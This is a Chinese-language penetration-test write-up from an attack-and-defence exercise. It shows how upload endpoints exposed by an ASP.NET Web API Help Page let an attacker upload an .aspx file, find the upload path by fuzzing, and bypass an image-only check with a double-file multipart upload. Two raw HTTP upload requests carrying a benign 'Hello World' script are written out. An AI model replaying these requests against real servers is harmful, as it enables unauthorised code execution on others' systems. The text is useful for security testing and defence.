暂无简介
利用ASP.NET Web API Help Page文件上传
免责说明:
由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我会立即删除并致歉,谢谢!
0x0前言
前段时间在一次攻防演练中发现有几个资产目标使用的是ASP.NET Web API,当时以为是一个简单的未授权漏洞,后面想着可不可以利用帮助文档中的upload上传接口,对数据包进行一个简单的构造进行一个文件上传呢,于是产生了这篇文章
0x1关于ASP.NET Web API
根据Microsoft官方文档给出的解释如下: The ASP.NET Web API Help Page automatically generates help page content for the web APIs on your site. Visitors to your help page can use this content to learn how to call your web APIs. Everything generated by the help page is fully customizable using ASP.NET MVC and Razor. ASP.NET Web API Help Page is a great addition to any ASP.NET Web API project.
简单来说就是: ASP.NET Web API 帮助页面是任何 ASP.NET Web API 项目的绝佳补充
那么创建ASP.NET Web API 创建帮助页面有什么用呢?根据Microsoft给出的解释如下: When you create a web API, it is often useful to create a help page, so that other developers will know how to call your API. You could create all of the documentation manually, but it is better to autogenerate as much as possible. To make this task easier, ASP.NET Web API provides a library for auto-generating help pages at run time.
最后得到的界面如下
又或者是如下
0x2寻找突破口
我们此次需要构造的是文件上传包,我们全局搜索upload、上传、文件,file等相关字样
可以看到如图所示我们找到了相关的字样
根据文档提示:我们可以看出此处文档上传构造方式也比较简单,那么我们接下来就要进行一个post参数的构造,手工构造比较麻烦,这时候我想起了开发者常用的一个工具postman,关于postman,我在这里也简单进行一个介绍: Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果, 从而验证响应中的结果数据是否和预期值相匹配;并确保开发人员能够及时处理接口中的bug,进而保证产品上线之后的稳定性和安全性。 它主要是用来模拟各种HTTP请求的(如:get/post/delete/put..等等),Postman与浏览器的区别在于有的浏览器不能输出Json格式,而Postman更直观接口返回的结果。
0X3开始构造
关于如何使用,我这里引用了一遍博主的文章文章地址如下
https://blog.csdn.net/weixin_48421613/article/details/118356645
最后选择send发送
可以看出我们此时的文件已经上传成功,但是路径找不到先简单fuzz一波
经过简单的fuzz我得到了一个叫UpLoadFiles路径
这不得不佩服我的字典的强大,当然也归功于平时的归纳总结
http://192.168.22.23/UpLoadFiles/20220907112814test11.aspx
通过对postman代理的设置
我们抓包看一下这个数据包的构成
POST /xxxx/ImgFormUpload HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxx
Host: 192.168.22.23
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------997110380267407431328989
Content-Length: 255
----------------------------997110380267407431328989
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream
<% response.write ("Hello World")%>
----------------------------997110380267407431328989--
用burp重放一下
这不得思考一个问题?这次是路径是我自己fuzz出来的,有没有其他的接口能直接返回路径呢?
0x4寻找其他接口
经过一番的寻找,我找到了一处
发现这里根本只能上传图片
尝试上传图片试一下
可以看出上传图片返回了路径,想办法绕过经过一番实验,我发现可以使用asp站点经常使用的双文件上传绕过
构造如下
此时的数据包如下
POST /xxxxx/UpLoadImgToNews HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxxxx
Host: 192.168.22.23
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------747868501381474511362162
Content-Length: 6482
----------------------------747868501381474511362162
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream
<% response.write ("Hello World")%>
----------------------------747868501381474511362162
Content-Disposition: form-data; name=""; filename="hha.jpg"
Content-Type: image/jpeg
¹6¼ÜíÔã0ØpáaËĵCd®z á¡édXluH#q^ÃwfD¼«¯
N Oî¬!UbµesKyìEËrßèPÔàÂÐNê¨!õÒöÑðÊÂ¥_f_ëÚq¹=jà?&¶^ì
Ru!ö